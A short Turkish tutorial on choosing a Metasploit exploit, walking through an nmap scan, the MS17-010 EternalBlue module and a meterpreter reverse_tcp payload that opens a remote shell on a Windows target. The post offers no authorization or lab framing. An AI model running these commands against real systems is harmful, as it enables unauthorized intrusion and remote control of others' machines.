Metasploit Framework: Exploit Seçimi ve Hedef Eşleştirme
Metasploit Framework'ü açtığında yüzlerce exploit görürsün. Doğru olanı seçmek, başarılı bir saldırının temelini oluşturur. Hedef sistem hakkında bilgi toplamadan exploit kullanmak, çoğu zaman başarısızlıkla sonuçlanır.
İlk adım, hedef sistemin işletim sistemi, açık portlar ve çalışan hizmetlerini belirlemektir. Nmap ile tarama yaparak başla.
nmap -sV -p- 192.168.1.100Bu komut hedef IP adresindeki tüm portları tarar ve çalışan hizmetlerin versiyonlarını (-sV) gösterir. Örneğin, Samba 3.6.3 veya Apache 2.2.15 gibi sonuçlar alırsın.
Metasploit konsolunu aç ve exploit veritabanını yükle.
msfconsoleKonsol açıldıktan sonra:
db_statusEğer bağlantı yoksa:
db_connectHedef sistem Windows XP ve SMB açıksa, MS17-010 (EternalBlue) gibi bilinen bir zafiyet olabilir.
search ms17-010Bu komut ilgili tüm modulları listeler. Sonuçtan:
use exploit/windows/smb/ms17_010_eternalblueSeçilen exploit hakkında bilgi al:
infoGerekli seçenekleri (RHOST, LHOST, LPORT) göreceksin.
Hedef bilgilerini exploit parametrelerine uyarla.
set RHOST 192.168.1.100
set LHOST 192.168.1.50
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcpBu adımda:
- RHOST: Hedef IP adresi
- LHOST: Geri bağlantı alacağın IP (saldırgan makinesi)
- LPORT: Dinleyeceğin port
- PAYLOAD: Başarılı olunca çalıştırılacak kod
exploitVeya arka planda:
exploit -jEğer exploit başarılı olursa, hedef sistemde bir session açılır ve komut çalıştırmaya başlayabilirsin. Başarısızlıksa, hedef versiyonu farklı olabilir veya exploit için gerekli şartlar karşılanmayabilir. Nmap sonuçlarını yeniden kontrol et ve uygun exploit bul.
0 yorum